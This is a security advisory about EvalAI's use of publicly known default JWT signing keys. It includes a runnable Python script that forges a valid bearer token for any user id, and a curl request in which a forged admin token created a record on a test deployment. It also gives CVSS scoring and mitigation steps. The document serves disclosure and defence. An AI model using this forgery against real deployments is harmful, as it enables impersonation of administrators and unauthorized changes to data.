| الوصف | EvalAI authenticates API requests with HS256 JWTs whose signing key defaults to publicly known hard-coded values, and nothing at startup warns about or rejects the defaults. The base settings module reads SECRET_KEY = os.environ.get("SECRET_KEY", "random_secret_key") (https://github.com/Cloud-CV/EvalAI/blob/d43da66bab66d7bb526058487fc9fb294ca5740f/settings/common.py#L30, fallback introduced in commit 15136432cc11c70dcf212687d2f86b35ff399cf7 on 2016-11-02 and still present on master as of 2026-10-29 at line 31), so any deployment that injects no SECRET_KEY signs all bearer tokens with the literal string random_secret_key. The Docker production template ships a second default, SECRET_KEY=some-secret-key, at https://github.com/Cloud-CV/EvalAI/blob/d43da66bab66d7bb526058487fc9fb294ca5740f/docker/prod/docker_production.env.example#L33, and the production compose file loads docker/prod/docker_production.env via env_file, so copying the example into place unchanged makes some-secret-key the signing key. The submitter reported the issue in https://github.com/Cloud-CV/EvalAI/issues/5150 (2026-07-24, open). This entry adds a runnable offline forgery PoC and the observed attack results against a test deployment built from the repository.
Token construction. No key derivation, decoding, or truncation occurs: the literal string is used directly as the HMAC-SHA256 key (ALGORITHM HS256, settings/common.py line 422 in the tested tree). EvalAI's SIMPLE_JWT block (settings/common.py lines 417-431 in the tested tree) sets no SIGNING_KEY, so djangorestframework-simplejwt 4.6.0 (requirements/common.txt line 17) falls back to settings.SECRET_KEY. Which default applies depends on configuration: the test deployment's compose app service defines no SECRET_KEY and no env_file, and printing settings.SECRET_KEY inside the running container returned random_secret_key (line 28 in that source tree), so the code fallback was the effective signing key; the some-secret-key path is configuration analysis and was not exercised by this deployment. Tokens are issued at apps/accounts/views.py line 88 via RefreshToken.for_user(user) and carry four claims: token_type (constant "refresh", from EvalAI's AUTH_TOKEN_CLASSES which lists only RefreshToken), exp (365-day lifetime), jti (random UUID hex), and user_id (USER_ID_CLAIM). AUDIENCE and ISSUER are None, simplejwt 4.6.0 verify() for this token class checks exp, jti, and token_type (tokens.py lines 84-100), and the SIMPLE_JWT block contains no blacklist settings, so a correctly signed payload naming any existing user authenticates as that user.
Attack process. The following pure-standard-library script forges a token structurally identical to a legitimate one, fully offline:
#!/usr/bin/env python3
import sys, json, time, uuid, hmac, hashlib, base64
def b64u(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
def forge(key, user_id, token_type="refresh", days=365):
header = {"alg": "HS256", "typ": "JWT"}
payload = {"token_type": token_type,
"exp": int(time.time()) + days * 86400,
"jti": uuid.uuid4().hex,
"user_id": int(user_id)}
h = b64u(json.dumps(header, separators=(",", ":")).encode())
p = b64u(json.dumps(payload, separators=(",", ":")).encode())
sig = b64u(hmac.new(key.encode("utf-8"), (h + "." + p).encode(), hashlib.sha256).digest())
return h + "." + p + "." + sig
if __name__ == "__main__":
print(forge(sys.argv[1], sys.argv[2]))
The submitter ran this script with the deployment's effective key and user_id 1, producing a 207-character token with claims {"token_type":"refresh","exp":1825070117,"jti":"cc254647dcad42bd9949266b0406706a","user_id":1}, and sent it to a write endpoint that requires IsAuthenticated and HasVerifiedEmail under JWTAuthentication (apps/participants/views.py lines 54-62; route api/participants/participant_team via evalai/urls.py lines 80-81; the POST branch at lines 91-105 persists a team owned by request.user):
curl -X POST http://127.0.0.1:20018/api/participants/participant_team -H "Authorization: Bearer <forged token>" -H "Content-Type: application/json" -d '{"team_name":"poc-forged-jwt-team-20261101200156"}'
The server returned HTTP/1.1 201 Created with body {"id":31,"team_name":"poc-forged-jwt-team-20261101200156","created_by":"admin","team_url":""}: the forged token was accepted as user 1 (admin, [email protected]) and caused a database write. Persistence was confirmed directly in the postgres database: participant_team row id=31, created_by_id=1, created_at 2026-11-01 12:01:58 UTC, two seconds after the 20:01:56 local (UTC+8) timestamp embedded in the team name, and participant row id=94 links user_id=1 to team 31; a GET on the same endpoint with the same token returned 200 listing the new team. No valid credentials were used at any point.
Impact. Anyone who knows the public default key can mint a valid 365-day token naming any existing user id, including administrator accounts, and act as that user on the authenticated API; the PoC demonstrates unauthenticated writes attributed to an admin account. CVSS:3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, score 9.1 (Critical); CWE-321 Use of Hard-coded Cryptographic Key.
Mitigation. Fail startup when SECRET_KEY is unset or equals any shipped value, generate a per-instance high-entropy secret at install time, and replace the example value in docker/prod/docker_production.env.example with a non-functional placeholder plus instructions. Existing deployments should rotate SECRET_KEY immediately, which invalidates all outstanding tokens, and review logs for bearer tokens that do not correspond to issued sessions. Product homepage: https://github.com/Cloud-CV/EvalAI |
|---|